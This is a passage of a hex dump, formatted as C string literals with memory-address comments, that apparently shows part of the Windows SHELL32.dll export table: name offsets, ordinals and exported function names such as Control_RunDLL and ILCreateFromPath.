"\x53\x98\x02\x00\x62\x98\x02\x00\x74\x98\x02\x00\x87\x98\x02\x00" //S...b...t....... /* 7C9E9910 */ "\x9A\x98\x02\x00\xAC\x98\x02\x00\xC6\x98\x02\x00\xE2\x98\x02\x00" //........Æ...â... /* 7C9E9930 */ "\xF1\x98\x02\x00\x0A\x99\x02\x00\x21\x99\x02\x00\x3D\x99\x02\x00" //ñ.......!...=... /* 7C9E9950 */ "\x52\x99\x02\x00\x65\x99\x02\x00\x77\x99\x02\x00\x8C\x99\x02\x00" //R...e...w....... /* 7C9E9970 */ "\xA1\x99\x02\x00\xBA\x99\x02\x00\xD4\x99\x02\x00\xEB\x99\x02\x00" //........Ô...ë... /* 7C9E9990 */ "\x05\x9A\x02\x00\x28\x9A\x02\x00\x40\x9A\x02\x00\x5A\x9A\x02\x00" //....(...@...Z... /* 7C9E99B0 */ "\x6C\x9A\x02\x00\x82\x9A\x02\x00\x94\x9A\x02\x00\xA6\x9A\x02\x00" //l............... /* 7C9E99D0 */ "\xC1\x9A\x02\x00\xCE\x9A\x02\x00\xE1\x9A\x02\x00\xF4\x9A\x02\x00" //Á...Î...á...ô... /* 7C9E99F0 */ "\x0A\x9B\x02\x00\x29\x9B\x02\x00\x39\x9B\x02\x00\x49\x9B\x02\x00" //....)...9...I... /* 7C9E9A10 */ "\x5A\x9B\x02\x00\x6B\x9B\x02\x00\x77\x9B\x02\x00\x8C\x9B\x02\x00" //Z...k...w....... /* 7C9E9A30 */ "\x9D\x9B\x02\x00\xAC\x9B\x02\x00\xBA\x9B\x02\x00\xC1\x9B\x02\x00" //............Á... /* 7C9E9A50 */ "\xD4\x9B\x02\x00\xE1\x9B\x02\x00\xFF\x9B\x02\x00\x14\x9C\x02\x00" //Ô...á...ÿ....... /* 7C9E9A70 */ "\x29\x9C\x02\x00\x3C\x9C\x02\x00\x50\x9C\x02\x00\x66\x9C\x02\x00" //)...<...P...f... /* 7C9E9A90 */ "\x7C\x9C\x02\x00\x8A\x9C\x02\x00\x99\x9C\x02\x00\xA8\x9C\x02\x00" //|............... /* 7C9E9AB0 */ "\xBC\x9C\x02\x00\xCD\x9C\x02\x00\xE7\x9C\x02\x00\x01\x9D\x02\x00" //....Í...ç....... /* 7C9E9AD0 */ "\x12\x9D\x02\x00\x29\x9D\x02\x00\x40\x9D\x02\x00\x4F\x9D\x02\x00" //....)...@...O... /* 7C9E9AF0 */ "\x65\x9D\x02\x00\x71\x9D\x02\x00\x82\x9D\x02\x00\x94\x9D\x02\x00" //e...q........... /* 7C9E9B10 */ "\xA6\x9D\x02\x00\xBA\x9D\x02\x00\xCF\x9D\x02\x00\xE4\x9D\x02\x00" //........Ï...ä... /* 7C9E9B30 */ "\xF1\x9D\x02\x00\x0F\x9E\x02\x00\x20\x9E\x02\x00\x2E\x9E\x02\x00" //ñ............... /* 7C9E9B50 */ "\x47\x9E\x02\x00\x62\x9E\x02\x00\x7A\x9E\x02\x00\x92\x9E\x02\x00" //G...b...z....... /* 7C9E9B70 */ "\xA8\x9E\x02\x00\xBC\x9E\x02\x00\xD3\x9E\x02\x00\xEB\x9E\x02\x00" //........Ó...ë... /* 7C9E9B90 */ "\x03\x9F\x02\x00\x16\x9F\x02\x00\x2E\x9F\x02\x00\x46\x9F\x02\x00" //............F... /* 7C9E9BB0 */ "\x5F\x9F\x02\x00\x70\x9F\x02\x00\x7D\x9F\x02\x00\xA3\x9F\x02\x00" //_...p...}....... /* 7C9E9BD0 */ "\xAD\x9F\x02\x00\xBA\x9F\x02\x00\xDB\x9F\x02\x00\xFB\x9F\x02\x00" //........Û...û... /* 7C9E9BF0 */ "\x11\xA0\x02\x00\x24\xA0\x02\x00\x3F\xA0\x02\x00\x50\xA0\x02\x00" //....$...?...P... /* 7C9E9C10 */ "\x63\xA0\x02\x00\x7A\xA0\x02\x00\x91\xA0\x02\x00\xA1\xA0\x02\x00" //c...z........... /* 7C9E9C30 */ "\xB7\xA0\x02\x00\xCE\xA0\x02\x00\xE1\xA0\x02\x00\xF4\xA0\x02\x00" //....Î...á...ô... /* 7C9E9C50 */ "\x13\xA1\x02\x00\x20\xA1\x02\x00\x32\xA1\x02\x00\x48\xA1\x02\x00" //........2...H... /* 7C9E9C70 */ "\x5B\xA1\x02\x00\x71\xA1\x02\x00\x8B\xA1\x02\x00\xA2\xA1\x02\x00" //[...q........... /* 7C9E9C90 */ "\xBE\xA1\x02\x00\xD4\xA1\x02\x00\xE3\xA1\x02\x00\xF2\xA1\x02\x00" //....Ô...ã...ò... /* 7C9E9CB0 */ "\x01\xA2\x02\x00\x18\xA2\x02\x00\x26\xA2\x02\x00\x34\xA2\x02\x00" //........&...4... /* 7C9E9CD0 */ "\x44\xA2\x02\x00\x54\xA2\x02\x00\x62\xA2\x02\x00\x72\xA2\x02\x00" //D...T...b...r... /* 7C9E9CF0 */ "\x7F\xA2\x02\x00\x8C\xA2\x02\x00\x9B\xA2\x02\x00\xA6\xA2\x02\x00" //................ /* 7C9E9D10 */ "\xB3\xA2\x02\x00\xBE\xA2\x02\x00\xD0\xA2\x02\x00\xE1\xA2\x02\x00" //........Ð...á... /* 7C9E9D30 */ "\xF2\xA2\x02\x00\x01\xA3\x02\x00\x11\xA3\x02\x00\x21\xA3\x02\x00" //ò...........!... /* 7C9E9D50 */ "\x2D\xA3\x02\x00\x39\xA3\x02\x00\x4A\xA3\x02\x00\x5C\xA3\x02\x00" //-...9...J...\... /* 7C9E9D70 */ "\x6E\xA3\x02\x00\x7C\xA3\x02\x00\x8B\xA3\x02\x00\x9B\xA3\x02\x00" //n...|........... /* 7C9E9D90 */ "\xAB\xA3\x02\x00\xB9\xA3\x02\x00\xC7\xA3\x02\x00\xD8\xA3\x02\x00" //........Ç...Ø... /* 7C9E9DB0 */ "\xE9\xA3\x02\x00\x03\xA4\x02\x00\x17\xA4\x02\x00\x28\xA4\x02\x00" //é...........(... /* 7C9E9DD0 */ "\x39\xA4\x02\x00\x4B\xA4\x02\x00\x5D\xA4\x02\x00\x6C\xA4\x02\x00" //9...K...]...l... /* 7C9E9DF0 */ "\x74\xA4\x02\x00\x7D\xA4\x02\x00\x86\xA4\x02\x00\x8E\xA4\x02\x00" //t...}........... /* 7C9E9E10 */ "\x97\xA4\x02\x00\xA1\xA4\x02\x00\xAB\xA4\x02\x00\xB4\xA4\x02\x00" //................ /* 7C9E9E30 */ "\xBD\xA4\x02\x00\xC6\xA4\x02\x00\xCF\xA4\x02\x00\xD9\xA4\x02\x00" //....Æ...Ï...Ù... /* 7C9E9E50 */ "\xE3\xA4\x02\x00\xEC\xA4\x02\x00\xF5\xA4\x02\x00\xFE\xA4\x02\x00" //ã...ì...õ...þ... /* 7C9E9E70 */ "\x07\xA5\x02\x00\x11\xA5\x02\x00\x1B\xA5\x02\x00\x24\xA5\x02\x00" //............$... /* 7C9E9E90 */ "\x2D\xA5\x02\x00\x37\xA5\x02\x00\x41\xA5\x02\x00\x4A\xA5\x02\x00" //-...7...A...J... /* 7C9E9EB0 */ "\x52\xA5\x02\x00\x5B\xA5\x02\x00\x64\xA5\x02\x00\x6C\xA5\x02\x00" //R...[...d...l... /* 7C9E9ED0 */ "\x7C\xA5\x02\x00\x8C\xA5\x02\x00\x66\x00\x67\x00\xBA\x02\xBB\x02" //|.......f.g..... /* 7C9E9EF0 */ "\xA4\x00\x68\x00\x69\x00\x6A\x00\x6B\x00\x6C\x00\x6D\x00\x6E\x00" //..h.i.j.k.l.m.n. /* 7C9E9F10 */ "\x6F\x00\x70\x00\x71\x00\x7F\x00\x81\x00\x14\x00\x82\x00\x84\x00" //o.p.q........... /* 7C9E9F30 */ "\x86\x00\x87\x00\x72\x00\x73\x00\x74\x00\x76\x00\x7A\x00\x7B\x00" //....r.s.t.v.z.{. /* 7C9E9F50 */ "\x83\x00\x85\x00\x88\x00\x89\x00\x8A\x00\x8B\x00\x8C\x00\x8D\x00" //................ /* 7C9E9F70 */ "\x8E\x00\x3E\x00\x94\x00\xC5\x00\xCC\x00\xCD\x00\xCE\x00\xD6\x00" //..>...Å.Ì.Í.Î.Ö. /* 7C9E9F90 */ "\xD7\x00\xD8\x00\xD9\x00\xDA\x00\xDB\x00\xDC\x00\xDD\x00\xDE\x00" //×.Ø.Ù.Ú.Û.Ü.Ý.Þ. /* 7C9E9FB0 */ "\xDF\x00\xE0\x00\xE1\x00\x3D\x00\x98\x00\x10\x00\x11\x00\x17\x00" //ß.à.á.=......... /* 7C9E9FD0 */ "\x9B\x00\xBB\x00\xBC\x00\x16\x00\x0E\x00\x99\x00\x97\x00\x96\x00" //................ /* 7C9E9FF0 */ "\x13\x00\x15\x00\x18\x00\x0F\x00\x19\x00\xE2\x00\xE3\x00\x75\x00" //..........â.ã.u. /* 7C9EA010 */ "\x27\x00\x28\x00\x40\x00\xA6\x02\x2A\x00\x4F\x00\x63\x00\x53\x00" //'.(.@...*.O.c.S. /* 7C9EA030 */ "\xEC\x00\xFD\x00\x02\x01\xA9\x00\x5A\x00\x29\x00\xEE\x00\xED\x00" //ì.ý.....Z.).î.í. /* 7C9EA050 */ "\x2D\x00\x8B\x02\x2F\x00\x31\x00\x49\x00\x3C\x00\x0B\x00\x08\x00" //-.../.1.I.<..... /* 7C9EA070 */ "\x07\x00\x09\x00\x03\x01\x04\x01\x05\x01\x8C\x02\x0A\x02\x06\x01" //................ /* 7C9EA090 */ "\x07\x01\x08\x01\x09\x01\x0A\x01\x39\x00\xD8\x02\xA5\x00\x0B\x01" //........9.Ø..... /* 7C9EA0B0 */ "\xC2\x00\x06\x02\x0C\x01\x0D\x01\x0E\x01\x0F\x01\x10\x01\x91\x00" //Â............... /* 7C9EA0D0 */ "\x82\x02\x83\x02\x11\x01\x02\x00\x00\x00\x12\x01\x57\x00\x64\x00" //............W.d. /* 7C9EA0F0 */ "\xA3\x00\x13\x01\x14\x01\xE5\x02\x15\x01\x16\x01\xA6\x00\x17\x01" //......å......... /* 7C9EA110 */ "\xFE\x00\xAC\x00\x18\x01\x48\x00\x01\x00\x04\x00\xA7\x00\x56\x00" //þ.....H.......V. /* 7C9EA130 */ "\x19\x01\x1A\x01\x1B\x01\x1C\x01\x1D\x01\x1E\x01\x1F\x01\x20\x01" //................ /* 7C9EA150 */ "\x58\x00\x93\x00\x77\x00\x0C\x02\x21\x01\xC1\x00\x22\x01\x09\x02" //X...w...!.Á."... /* 7C9EA170 */ "\xEC\x02\x23\x01\x24\x01\x25\x01\x26\x01\x27\x01\x28\x01\x29\x01" //ì.#.$.%.&.'.(.). /* 7C9EA190 */ "\x2A\x01\x2B\x01\x2C\x01\x2D\x01\x2E\x01\x2F\x01\x30\x01\x31\x01" //*.+.,.-.../.0.1. /* 7C9EA1B0 */ "\x32\x01\xD5\x02\x33\x01\x34\x01\x35\x01\xB1\x00\xB2\x00\x36\x01" //2.Õ.3.4.5.....6. /* 7C9EA1D0 */ "\x37\x01\x38\x01\x60\x00\xC3\x02\x42\x00\x39\x01\xEB\x02\x3A\x01" //7.8.`.Ã.B.9.ë.:. /* 7C9EA1F0 */ "\x3B\x01\x3C\x01\x3D\x01\xBF\x00\x3E\x01\x3F\x01\x40\x01\x1A\x00" //;.<.=...>.?.@... /* 7C9EA210 */ "\x41\x01\x42\x01\x43\x01\xE9\x02\x44\x01\x45\x01\x95\x00\x07\x02" //A.B.C.é.D.E..... /* 7C9EA230 */ "\x92\x00\x4B\x00\xCA\x02\xB0\x00\x46\x01\x4E\x00\x47\x01\x48\x01" //..K.Ê...F.N.G.H. /* 7C9EA250 */ "\x49\x01\xAB\x02\xAE\x02\xAF\x02\x4A\x01\x4B\x01\xA8\x00\x62\x00" //I.......J.K...b. /* 7C9EA270 */ "\x9F\x00\xAE\x00\x4C\x01\x4D\x01\x47\x00\xA0\x00\x0C\x00\xF3\x00" //....L.M.G.....ó. /* 7C9EA290 */ "\x08\x02\xBD\x00\xBE\x00\x4E\x01\xAB\x00\x4F\x01\x50\x01\x51\x01" //......N...O.P.Q. /* 7C9EA2B0 */ "\x52\x01\x53\x01\x54\x01\x55\x01\x56\x01\x57\x01\x58\x01\x59\x01" //R.S.T.U.V.W.X.Y. /* 7C9EA2D0 */ "\x5A\x01\x5B\x01\x5C\x01\x5D\x01\x5E\x01\x5F\x01\x60\x01\x61\x01" //Z.[.\.].^._.`.a. /* 7C9EA2F0 */ "\x62\x01\x63\x01\x64\x01\x65\x01\x66\x01\x67\x01\x68\x01\x69\x01" //b.c.d.e.f.g.h.i. /* 7C9EA310 */ "\x6A\x01\xB5\x00\xB4\x00\x46\x00\x45\x00\x41\x00\x6B\x01\x6C\x01" //j.....F.E.A.k.l. /* 7C9EA330 */ "\x6D\x01\x65\x00\x6E\x01\x6F\x01\x70\x01\x71\x01\x72\x01\x73\x01" //m.e.n.o.p.q.r.s. /* 7C9EA350 */ "\x74\x01\x75\x01\x76\x01\x77\x01\x78\x01\x79\x01\x7A\x01\x7B\x01" //t.u.v.w.x.y.z.{. /* 7C9EA370 */ "\x7C\x01\x7D\x01\x7E\x01\x7F\x01\x80\x01\x81\x01\x82\x01\x83\x01" //|.}.~........... /* 7C9EA390 */ "\x84\x01\x85\x01\x86\x01\x87\x01\x88\x01\x89\x01\x8A\x01\xA2\x00" //................ /* 7C9EA3B0 */ "\x8A\x02\x53\x48\x45\x4C\x4C\x33\x32\x2E\x64\x6C\x6C\x00\x41\x63" //..SHELL32.dll.Ac /* 7C9EA3D0 */ "\x74\x69\x76\x61\x74\x65\x5F\x52\x75\x6E\x44\x4C\x4C\x00\x41\x70" //tivate_RunDLL.Ap /* 7C9EA3F0 */ "\x70\x43\x6F\x6D\x70\x61\x74\x5F\x52\x75\x6E\x44\x4C\x4C\x57\x00" //pCompat_RunDLLW. /* 7C9EA410 */ "\x43\x44\x65\x66\x46\x6F\x6C\x64\x65\x72\x4D\x65\x6E\x75\x5F\x43" //CDefFolderMenu_C /* 7C9EA430 */ "\x72\x65\x61\x74\x65\x00\x43\x44\x65\x66\x46\x6F\x6C\x64\x65\x72" //reate.CDefFolder /* 7C9EA450 */ "\x4D\x65\x6E\x75\x5F\x43\x72\x65\x61\x74\x65\x32\x00\x43\x61\x6C" //Menu_Create2.Cal /* 7C9EA470 */ "\x6C\x43\x50\x4C\x45\x6E\x74\x72\x79\x31\x36\x00\x43\x68\x65\x63" //lCPLEntry16.Chec /* 7C9EA490 */ "\x6B\x45\x73\x63\x61\x70\x65\x73\x41\x00\x43\x68\x65\x63\x6B\x45" //kEscapesA.CheckE /* 7C9EA4B0 */ "\x73\x63\x61\x70\x65\x73\x57\x00\x43\x6F\x6D\x6D\x61\x6E\x64\x4C" //scapesW.CommandL /* 7C9EA4D0 */ "\x69\x6E\x65\x54\x6F\x41\x72\x67\x76\x57\x00\x43\x6F\x6E\x74\x72" //ineToArgvW.Contr /* 7C9EA4F0 */ "\x6F\x6C\x5F\x46\x69\x6C\x6C\x43\x61\x63\x68\x65\x5F\x52\x75\x6E" //ol_FillCache_Run /* 7C9EA510 */ "\x44\x4C\x4C\x00\x43\x6F\x6E\x74\x72\x6F\x6C\x5F\x46\x69\x6C\x6C" //DLL.Control_Fill /* 7C9EA530 */ "\x43\x61\x63\x68\x65\x5F\x52\x75\x6E\x44\x4C\x4C\x41\x00\x43\x6F" //Cache_RunDLLA.Co /* 7C9EA550 */ "\x6E\x74\x72\x6F\x6C\x5F\x46\x69\x6C\x6C\x43\x61\x63\x68\x65\x5F" //ntrol_FillCache_ /* 7C9EA570 */ "\x52\x75\x6E\x44\x4C\x4C\x57\x00\x43\x6F\x6E\x74\x72\x6F\x6C\x5F" //RunDLLW.Control_ /* 7C9EA590 */ "\x52\x75\x6E\x44\x4C\x4C\x00\x43\x6F\x6E\x74\x72\x6F\x6C\x5F\x52" //RunDLL.Control_R /* 7C9EA5B0 */ "\x75\x6E\x44\x4C\x4C\x41\x00\x43\x6F\x6E\x74\x72\x6F\x6C\x5F\x52" //unDLLA.Control_R /* 7C9EA5D0 */ "\x75\x6E\x44\x4C\x4C\x41\x73\x55\x73\x65\x72\x57\x00\x43\x6F\x6E" //unDLLAsUserW.Con /* 7C9EA5F0 */ "\x74\x72\x6F\x6C\x5F\x52\x75\x6E\x44\x4C\x4C\x57\x00\x44\x41\x44" //trol_RunDLLW.DAD /* 7C9EA610 */ "\x5F\x41\x75\x74\x6F\x53\x63\x72\x6F\x6C\x6C\x00\x44\x41\x44\x5F" //_AutoScroll.DAD_ /* 7C9EA630 */ "\x44\x72\x61\x67\x45\x6E\x74\x65\x72\x45\x78\x00\x44\x41\x44\x5F" //DragEnterEx.DAD_ /* 7C9EA650 */ "\x44\x72\x61\x67\x45\x6E\x74\x65\x72\x45\x78\x32\x00\x44\x41\x44" //DragEnterEx2.DAD /* 7C9EA670 */ "\x5F\x44\x72\x61\x67\x4C\x65\x61\x76\x65\x00\x44\x41\x44\x5F\x44" //_DragLeave.DAD_D /* 7C9EA690 */ "\x72\x61\x67\x4D\x6F\x76\x65\x00\x44\x41\x44\x5F\x53\x65\x74\x44" //ragMove.DAD_SetD /* 7C9EA6B0 */ "\x72\x61\x67\x49\x6D\x61\x67\x65\x00\x44\x41\x44\x5F\x53\x68\x6F" //ragImage.DAD_Sho /* 7C9EA6D0 */ "\x77\x44\x72\x61\x67\x49\x6D\x61\x67\x65\x00\x44\x6C\x6C\x43\x61" //wDragImage.DllCa /* 7C9EA6F0 */ "\x6E\x55\x6E\x6C\x6F\x61\x64\x4E\x6F\x77\x00\x44\x6C\x6C\x47\x65" //nUnloadNow.DllGe /* 7C9EA710 */ "\x74\x43\x6C\x61\x73\x73\x4F\x62\x6A\x65\x63\x74\x00\x44\x6C\x6C" //tClassObject.Dll /* 7C9EA730 */ "\x47\x65\x74\x56\x65\x72\x73\x69\x6F\x6E\x00\x44\x6C\x6C\x49\x6E" //GetVersion.DllIn /* 7C9EA750 */ "\x73\x74\x61\x6C\x6C\x00\x44\x6C\x6C\x52\x65\x67\x69\x73\x74\x65" //stall.DllRegiste /* 7C9EA770 */ "\x72\x53\x65\x72\x76\x65\x72\x00\x44\x6C\x6C\x55\x6E\x72\x65\x67" //rServer.DllUnreg /* 7C9EA790 */ "\x69\x73\x74\x65\x72\x53\x65\x72\x76\x65\x72\x00\x44\x6F\x45\x6E" //isterServer.DoEn /* 7C9EA7B0 */ "\x76\x69\x72\x6F\x6E\x6D\x65\x6E\x74\x53\x75\x62\x73\x74\x41\x00" //vironmentSubstA. /* 7C9EA7D0 */ "\x44\x6F\x45\x6E\x76\x69\x72\x6F\x6E\x6D\x65\x6E\x74\x53\x75\x62" //DoEnvironmentSub /* 7C9EA7F0 */ "\x73\x74\x57\x00\x44\x72\x61\x67\x41\x63\x63\x65\x70\x74\x46\x69" //stW.DragAcceptFi /* 7C9EA810 */ "\x6C\x65\x73\x00\x44\x72\x61\x67\x46\x69\x6E\x69\x73\x68\x00\x44" //les.DragFinish.D /* 7C9EA830 */ "\x72\x61\x67\x51\x75\x65\x72\x79\x46\x69\x6C\x65\x00\x44\x72\x61" //ragQueryFile.Dra /* 7C9EA850 */ "\x67\x51\x75\x65\x72\x79\x46\x69\x6C\x65\x41\x00\x44\x72\x61\x67" //gQueryFileA.Drag /* 7C9EA870 */ "\x51\x75\x65\x72\x79\x46\x69\x6C\x65\x41\x6F\x72\x57\x00\x44\x72" //QueryFileAorW.Dr /* 7C9EA890 */ "\x61\x67\x51\x75\x65\x72\x79\x46\x69\x6C\x65\x57\x00\x44\x72\x61" //agQueryFileW.Dra /* 7C9EA8B0 */ "\x67\x51\x75\x65\x72\x79\x50\x6F\x69\x6E\x74\x00\x44\x72\x69\x76" //gQueryPoint.Driv /* 7C9EA8D0 */ "\x65\x54\x79\x70\x65\x00\x44\x75\x70\x6C\x69\x63\x61\x74\x65\x49" //eType.DuplicateI /* 7C9EA8F0 */ "\x63\x6F\x6E\x00\x45\x78\x74\x72\x61\x63\x74\x41\x73\x73\x6F\x63" //con.ExtractAssoc /* 7C9EA910 */ "\x69\x61\x74\x65\x64\x49\x63\x6F\x6E\x41\x00\x45\x78\x74\x72\x61" //iatedIconA.Extra /* 7C9EA930 */ "\x63\x74\x41\x73\x73\x6F\x63\x69\x61\x74\x65\x64\x49\x63\x6F\x6E" //ctAssociatedIcon /* 7C9EA950 */ "\x45\x78\x41\x00\x45\x78\x74\x72\x61\x63\x74\x41\x73\x73\x6F\x63" //ExA.ExtractAssoc /* 7C9EA970 */ "\x69\x61\x74\x65\x64\x49\x63\x6F\x6E\x45\x78\x57\x00\x45\x78\x74" //iatedIconExW.Ext /* 7C9EA990 */ "\x72\x61\x63\x74\x41\x73\x73\x6F\x63\x69\x61\x74\x65\x64\x49\x63" //ractAssociatedIc /* 7C9EA9B0 */ "\x6F\x6E\x57\x00\x45\x78\x74\x72\x61\x63\x74\x49\x63\x6F\x6E\x41" //onW.ExtractIconA /* 7C9EA9D0 */ "\x00\x45\x78\x74\x72\x61\x63\x74\x49\x63\x6F\x6E\x45\x78\x00\x45" //.ExtractIconEx.E /* 7C9EA9F0 */ "\x78\x74\x72\x61\x63\x74\x49\x63\x6F\x6E\x45\x78\x41\x00\x45\x78" //xtractIconExA.Ex /* 7C9EAA10 */ "\x74\x72\x61\x63\x74\x49\x63\x6F\x6E\x45\x78\x57\x00\x45\x78\x74" //tractIconExW.Ext /* 7C9EAA30 */ "\x72\x61\x63\x74\x49\x63\x6F\x6E\x52\x65\x73\x49\x6E\x66\x6F\x41" //ractIconResInfoA /* 7C9EAA50 */ "\x00\x45\x78\x74\x72\x61\x63\x74\x49\x63\x6F\x6E\x52\x65\x73\x49" //.ExtractIconResI /* 7C9EAA70 */ "\x6E\x66\x6F\x57\x00\x45\x78\x74\x72\x61\x63\x74\x49\x63\x6F\x6E" //nfoW.ExtractIcon /* 7C9EAA90 */ "\x57\x00\x45\x78\x74\x72\x61\x63\x74\x56\x65\x72\x73\x69\x6F\x6E" //W.ExtractVersion /* 7C9EAAB0 */ "\x52\x65\x73\x6F\x75\x72\x63\x65\x31\x36\x57\x00\x46\x69\x6E\x64" //Resource16W.Find /* 7C9EAAD0 */ "\x45\x78\x65\x44\x6C\x67\x50\x72\x6F\x63\x00\x46\x69\x6E\x64\x45" //ExeDlgProc.FindE /* 7C9EAAF0 */ "\x78\x65\x63\x75\x74\x61\x62\x6C\x65\x41\x00\x46\x69\x6E\x64\x45" //xecutableA.FindE /* 7C9EAB10 */ "\x78\x65\x63\x75\x74\x61\x62\x6C\x65\x57\x00\x46\x72\x65\x65\x49" //xecutableW.FreeI /* 7C9EAB30 */ "\x63\x6F\x6E\x4C\x69\x73\x74\x00\x47\x65\x74\x46\x69\x6C\x65\x4E" //conList.GetFileN /* 7C9EAB50 */ "\x61\x6D\x65\x46\x72\x6F\x6D\x42\x72\x6F\x77\x73\x65\x00\x49\x4C" //ameFromBrowse.IL /* 7C9EAB70 */ "\x41\x70\x70\x65\x6E\x64\x49\x44\x00\x49\x4C\x43\x6C\x6F\x6E\x65" //AppendID.ILClone /* 7C9EAB90 */ "\x00\x49\x4C\x43\x6C\x6F\x6E\x65\x46\x69\x72\x73\x74\x00\x49\x4C" //.ILCloneFirst.IL /* 7C9EABB0 */ "\x43\x6F\x6D\x62\x69\x6E\x65\x00\x49\x4C\x43\x72\x65\x61\x74\x65" //Combine.ILCreate /* 7C9EABD0 */ "\x46\x72\x6F\x6D\x50\x61\x74\x68\x00\x49\x4C\x43\x72\x65\x61\x74" //FromPath.ILCreat /* 7C9EABF0 */ "\x65\x46\x72\x6F\x6D\x50\x61\x74\x68\x41\x00\x49\x4C\x43\x72\x65" //eFromPathA.ILCre /* 7C9EAC10 */ "\x61\x74\x65\x46\x72\x6F\x6D\x50\x61\x74\x68\x57\x00\x49\x4C\x46" //ateFromPathW.ILF /* 7C9EAC30 */ "\x69\x6E\x64\x43\x68\x69\x6C\x64\x00\x49\x4C\x46\x69\x6E\x64\x4C" //indChild.ILFindL /* 7C9EAC50 */ "\x61\x73\x74\x49\x44\x00\x49\x4C\x46\x72\x65\x65\x00\x49\x4C\x47" //astID.ILFree.ILG /* 7C9EAC70 */ "\x65\x74\x4E\x65\x78\x74\x00\x49\x4C\x47\x65\x74\x53\x69\x7A\x65" //etNext.ILGetSize /* 7C9EAC90 */ "\x00\x49\x4C\x49\x73\x45\x71\x75\x61\x6C\x00\x49\x4C\x49\x73\x50" //.ILIsEqual.ILIsP /* 7C9EACB0 */ "\x61\x72\x65\x6E\x74\x00\x49\x4C\x4C\x6F\x61\x64\x46\x72\x6F\x6D" //arent.ILLoadFrom /* 7C9EACD0 */ "\x53\x74\x72\x65\x61\x6D\x00\x49\x4C\x52\x65\x6D\x6F\x76\x65\x4C" //Stream.ILRemoveL /* 7C9EACF0 */ "\x61\x73\x74\x49\x44\x00\x49\x4C\x53\x61\x76\x65\x54\x6F\x53\x74" //astID.ILSaveToSt /* 7C9EAD10 */ "\x72\x65\x61\x6D\x00\x49\x6E\x74\x65\x72\x6E\x61\x6C\x45\x78\x74" //ream.InternalExt /* 7C9EAD30 */ "\x72\x61\x63\x74\x49\x63\x6F\x6E\x4C\x69\x73\x74\x41\x00\x49\x6E" //ractIconListA.In /* 7C9EAD50 */ "\x74\x65\x72\x6E\x61\x6C\x45\x78\x74\x72\x61\x63\x74\x49\x63\x6F" //ternalExtractIco /* 7C9EAD70 */ "\x6E\x4C\x69\x73\x74\x57\x00\x49\x73\x4C\x46\x4E\x44\x72\x69\x76" //nListW.IsLFNDriv /* 7C9EAD90 */ "\x65\x00\x49\x73\x4C\x46\x4E\x44\x72\x69\x76\x65\x41\x00\x49\x73" //e.IsLFNDriveA.Is /* 7C9EADB0 */ "\x4C\x46\x4E\x44\x72\x69\x76\x65\x57\x00\x49\x73\x4E\x65\x74\x44" //LFNDriveW.IsNetD /* 7C9EADD0 */ "\x72\x69\x76\x65\x00\x49\x73\x55\x73\x65\x72\x41\x6E\x41\x64\x6D" //rive.IsUserAnAdm /* 7C9EADF0 */ "\x69\x6E\x00\x4F\x70\x65\x6E\x41\x73\x5F\x52\x75\x6E\x44\x4C\x4C" //in.OpenAs_RunDLL /* 7C9EAE10 */ "\x00\x4F\x70\x65\x6E\x41\x73\x5F\x52\x75\x6E\x44\x4C\x4C\x41\x00" //.OpenAs_RunDLLA. /* 7C9EAE30 */ "\x4F\x70\x65\x6E\x41\x73\x5F\x52\x75\x6E\x44\x4C\x4C\x57\x00\x4F" //OpenAs_RunDLLW.O /* 7C9EAE50 */ "\x70\x65\x6E\x52\x65\x67\x53\x74\x72\x65\x61\x6D\x00\x4F\x70\x74" //penRegStream.Opt /* 7C9EAE70 */ "\x69\x6F\x6E\x73\x5F\x52\x75\x6E\x44\x4C\x4C\x00\x4F\x70\x74\x69" //ions_RunDLL.Opti /* 7C9EAE90 */ "\x6F\x6E\x73\x5F\x52\x75\x6E\x44\x4C\x4C\x41\x00\x4F\x70\x74\x69" //ons_RunDLLA.Opti /* 7C9EAEB0 */ "\x6F\x6E\x73\x5F\x52\x75\x6E\x44\x4C\x4C\x57\x00\x50\x61\x74\x68" //ons_RunDLLW.Path /* 7C9EAED0 */ "\x43\x6C\x65\x61\x6E\x75\x70\x53\x70\x65\x63\x00\x50\x61\x74\x68" //CleanupSpec.Path /* 7C9EAEF0 */ "\x47\x65\x74\x53\x68\x6F\x72\x74\x50\x61\x74\x68\x00\x50\x61\x74" //GetShortPath.Pat /* 7C9EAF10 */ "\x68\x49\x73\x45\x78\x65\x00\x50\x61\x74\x68\x49\x73\x53\x6C\x6F" //hIsExe.PathIsSlo /* 7C9EAF30 */ "\x77\x41\x00\x50\x61\x74\x68\x49\x73\x53\x6C\x6F\x77\x57\x00\x50" //wA.PathIsSlowW.P /* 7C9EAF50 */ "\x61\x74\x68\x4D\x61\x6B\x65\x55\x6E\x69\x71\x75\x65\x4E\x61\x6D" //athMakeUniqueNam /* 7C9EAF70 */ "\x65\x00\x50\x61\x74\x68\x50\x72\x6F\x63\x65\x73\x73\x43\x6F\x6D" //e.PathProcessCom /* 7C9EAF90 */ "\x6D\x61\x6E\x64\x00\x50\x61\x74\x68\x51\x75\x61\x6C\x69\x66\x79" //mand.PathQualify /* 7C9EAFB0 */ "\x00\x50\x61\x74\x68\x52\x65\x73\x6F\x6C\x76\x65\x00\x50\x61\x74" //.PathResolve.Pat /* 7C9EAFD0 */ "\x68\x59\x65\x74\x41\x6E\x6F\x74\x68\x65\x72\x4D\x61\x6B\x65\x55" //hYetAnotherMakeU /* 7C9EAFF0 */ "\x6E\x69\x71\x75\x65\x4E\x61\x6D\x65\x00\x50\x69\x63\x6B\x49\x63" //niqueName.PickIc /* 7C9EB010 */ "\x6F\x6E\x44\x6C\x67\x00\x50\x69\x66\x4D\x67\x72\x5F\x43\x6C\x6F" //onDlg.PifMgr_Clo /* 7C9EB030 */ "\x73\x65\x50\x72\x6F\x70\x65\x72\x74\x69\x65\x73\x00\x50\x69\x66" //seProperties.Pif /* 7C9EB050 */ "\x4D\x67\x72\x5F\x47\x65\x74\x50\x72\x6F\x70\x65\x72\x74\x69\x65" //Mgr_GetPropertie /* 7C9EB070 */ "\x73\x00\x50\x69\x66\x4D\x67\x72\x5F\x4F\x70\x65\x6E\x50\x72\x6F" //s.PifMgr_OpenPro /* 7C9EB090 */ "\x70\x65\x72\x74\x69\x65\x73\x00\x50\x69\x66\x4D\x67\x72\x5F\x53" //perties.PifMgr_S /* 7C9EB0B0 */ "\x65\x74\x50\x72\x6F\x70\x65\x72\x74\x69\x65\x73\x00\x50\x72\x69" //etProperties.Pri /* 7C9EB0D0 */ "\x6E\x74\x65\x72\x73\x47\x65\x74\x43\x6F\x6D\x6D\x61\x6E\x64\x5F" //ntersGetCommand_ /* 